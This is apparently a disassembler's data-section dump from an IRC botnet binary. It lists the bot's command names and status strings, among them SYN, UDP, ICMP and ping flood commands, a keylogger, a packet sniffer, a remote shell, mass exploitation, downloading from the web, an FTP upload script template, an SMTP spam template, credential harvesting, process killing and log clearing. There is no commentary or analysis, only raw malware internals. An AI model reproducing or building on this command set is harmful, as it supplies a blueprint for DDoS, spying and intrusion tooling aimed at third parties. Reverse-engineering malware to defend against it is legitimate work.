DATA XREF: sub_40CE55+3813o dd 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_434AA4 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40CE55+3799o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_434AE4 db 2 ; DATA XREF: sub_40CE55+3729o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_434B38 db 2 ; DATA XREF: sub_40CE55+36BAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_434B78 db 2 ; DATA XREF: sub_40CE55+35EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 unk_434BCC db 2 ; DATA XREF: sub_40CE55+357Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_434C1C db 2 ; DATA XREF: sub_40CE55+34F1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_434C6C db 2 ; DATA XREF: sub_40CE55+3482o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CE55+33FEo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CE55+3301o align 4 dword_434CDC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40CE55+3273o ; sub_40CE55+42B1o dword_434CE8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+3214o ; sub_40CE55+4DA6o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0 dword_434D34 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+31A5o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40CE55+317Ao ; sub_40CE55+4D0Ao align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40CE55+3173o ; sub_40CE55+4D03o align 10h dword_434DC0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+3035o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_20 db ' Failed to start scan, no IP specified.',0 align 4 dword_434E0C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+2EECo ; sub_40CE55+4B52o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 10h dword_434E60 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CE55+2EBBo dd 2029206Ch, 2BBBB02h aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_434EAC dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40CE55+2E4Co dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o align 10h unk_434F20 db 2 ; DATA XREF: sub_40CE55+2D70o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_434F6C db 2 ; DATA XREF: sub_40CE55+2D05o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_434FC8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40FABDo dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_435014 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2C5Eo dd 2029206Ch, 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_435060 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2BE4o dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40CE55+2BD4o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CE55+2BCDo dword_4350B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_40CE55+2B38o dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4350F4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40F8A5o dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_435134 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55+2A49o dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CE55+2A32o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CE55+2A1Bo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CE55+29FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CE55+29C6o align 10h dword_4351B0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_40CE55+2948o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CE55+2925o align 10h aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CE55+2902o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CE55+28EBo align 4 dword_43520C dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_40CE55+28AAo dd 6D652835h, 36C6961h, 31032E32h, 646F6D35h, 32032029h dd 353103BBh, 654D2020h, 67617373h, 65732065h, 7420746Eh db 6Fh byte_435249 db 20h, 25h, 73h ; DATA XREF: .nsp0:off_4244F4o dd 2Eh aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CE55+2836o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: sub_40CE55+279Ao unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40CE55+274Bo align 4 aUsa db 'usa',0 ; DATA XREF: sub_40CE55+2734o aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CE55+271Do align 10h aPg db 'pg',0 ; DATA XREF: sub_40CE55+2706o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CE55+26EFo align 10h aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CE55+26D8o align 10h aPu db 'pu',0 ; DATA XREF: sub_40CE55+26C1o align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CE55+26AAo align 10h aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CE55+2693o align 10h aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CE55+2665o align 4 aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CE55+263Co align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40CE55+2625o align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CE55+260Eo align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CE55+25F7o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CE55+25E0o align 4 aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CE55+25C9o align 4 aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CE55+25B2o align 4 aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo align 10h aD1 db 'd1',0 ; DATA XREF: sub_40CE55+2584o align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do align 4 aSy1 db 'sy1',0 ; DATA XREF: sub_40CE55+2556o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CE55+253Fo align 4 aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CE55+2528o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CE55+2511o align 4 aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CE55+24FAo align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40CE55+24E3o aClone_make db 'clone.make',0 ; DATA XREF: sub_40CE55+24CCo align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CE55+24A3o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CE55+248Co align 10h aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CE55+2475o align 4 aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CE55+245Eo align 4 aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CE55+2447o align 4 aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CE55+2430o align 4 aBox_e db 'box.e',0 ; DATA XREF: sub_40CE55+2419o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CE55+2402o aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CE55+23EBo align 10h aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CE55+23D4o align 10h aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CE55+23BDo align 4 aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CE55+23A6o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CE55+238Fo align 4 aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CE55+2378o align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40CE55+2361o aClone_part db 'clone.part',0 ; DATA XREF: sub_40CE55+234Ao align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40CE55+2333o aClone_join db 'clone.join',0 ; DATA XREF: sub_40CE55+231Co align 10h aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CE55+2305o align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CE55+22EEo align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40CE55+22D7o aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CE55+22C0o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CE55+22A9o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CE55+2292o align 4 aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CE55+227Bo align 4 aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CE55+2264o align 4 aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CE55+224Do align 10h aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CE55+2236o align 4 aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CE55+221Fo align 4 aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CE55+2208o align 10h aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CE55+21F1o align 4 aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CE55+21DAo aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CE55+21C3o align 4 aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CE55+21ACo align 4 aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CE55+2183o align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CE55+216Co dword_435560 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF73o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 10h dword_435590 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF6Co dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_4355C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EF24o dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4355F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+20C8o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 4 dword_435628 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EE85o dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_43565C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+2026o dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40CE55+1FBEo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40CE55+1FA3o align 10h aPause db 'pause',0 ; DATA XREF: sub_40CE55+1F70o align 4 aStop db 'stop',0 ; DATA XREF: sub_40CE55+1F58o align 10h dword_4356B0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_40EDA2o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_4356E4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+1F43o dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 dword_43571C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40CE55+1EBFo dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: sub_40CE55+1E9Bo unk_435770 db 2 ; DATA XREF: sub_40CE55+1E5Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0 align 10h unk_4357C0 db 2 ; DATA XREF: sub_40CE55+1DEFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4357F4 db 2 ; DATA XREF: sub_40CE55+1D71o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_435828 db 2 ; DATA XREF: sub_40CE55:loc_40EBA2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_435868 db 2 ; DATA XREF: sub_40CE55+1D43o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CE55+1CE9o align 4 unk_4358C4 db 2 ; DATA XREF: sub_40CE55:loc_40EB34o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 10h unk_435900 db 2 ; DATA XREF: sub_40CE55+1CD5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40CE55+1CB2o ; sub_40CE55+1D20o unk_435950 db 2 ; DATA XREF: sub_40CE55+1CA7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_4359A0 db 2 ; DATA XREF: sub_40CE55+1C38o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_4359E4 db 2 ; DATA XREF: sub_40CE55+1BD4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40CE55+1BB4o ; sub_40CE55+1CFEo align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40CE55+1B9Fo align 4 aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CE55+1B88o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CE55+1B71o align 4 aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CE55+1B5Ao align 4 aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CE55+1B43o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CE55+1B15o ; sub_40CE55+1B2Co align 4 aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CE55+1AFEo align 10h aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CE55+1AE7o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CE55+1AD0o align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CE55+1AB9o align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CE55+1AA2o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CE55+1A8Bo aBox_del db 'box.del',0 ; DATA XREF: sub_40CE55+1A74o aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CE55+1A5Do align 4 aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CE55+1A46o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CE55+1A2Fo align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CE55+1A18o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o align 10h aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CE55+19EAo align 4 aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CE55+19D3o aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CE55+19BCo align 4 aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CE55+19A5o align 4 aBox_o db 'box.o',0 ; DATA XREF: sub_40CE55+198Eo align 10h aBox_open db 'box.open',0 ; DATA XREF: sub_40CE55+1977o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CE55+1960o align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CE55+1949o align 10h aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CE55+1932o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CE55+191Bo align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40CE55+1904o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CE55+18EDo align 10h aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CE55+18D6o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CE55+18BFo align 4 aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CE55+18A8o align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CE55+1891o aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CE55+187Ao align 4 aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CE55+1863o align 10h aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CE55+184Co align 4 aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CE55+1835o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CE55+181Eo align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CE55+1807o align 4 aVall db 'vall',0 ; DATA XREF: sub_40CE55+17E1o align 10h aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CE55+17B7o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CE55+17A2o align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CE55+178Do align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CE55+1778o aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CE55+1763o align 10h aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CE55+174Eo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CE55+1739o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CE55+1724o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CE55+170Fo align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CE55+16FAo align 4 aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CE55+16E5o align 10h aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CE55+16D0o dword_435C8C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+16BFo dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40CE55+168Bo ; sub_415050+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40CE55+167Eo aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CE55+165Co align 10h aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CE55+1643o aCmd db '[CMD]',0 ; DATA XREF: sub_40CE55+1638o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CE55+1633o align 10h aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CE55+161Ao align 10h aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CE55+1605o align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CE55+15F0o aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CE55+15DBo aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CE55+15C6o align 10h aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CE55+15B1o aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CE55+159Co align 4 aBox_up db 'box.up',0 ; DATA XREF: sub_40CE55+1587o align 10h aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CE55+1572o align 4 aBox_key db 'box.key',0 ; DATA XREF: sub_40CE55+155Do aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CE55+1548o aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CE55+1533o align 4 aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CE55+151Eo align 4 aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CE55+1509o aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CE55+14F4o align 4 aBox_si db 'box.si',0 ; DATA XREF: sub_40CE55+14DFo align 10h aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CE55+14CAo aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CE55+14B5o align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CE55+14A0o aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CE55+148Bo align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CE55+1476o align 4 aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CE55+1461o align 4 aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CE55+144Co aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CE55+1437o align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CE55+1422o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CE55+140Do align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CE55+13F8o align 4 dword_435E2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+13C4o dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_435E64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+13BDo dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 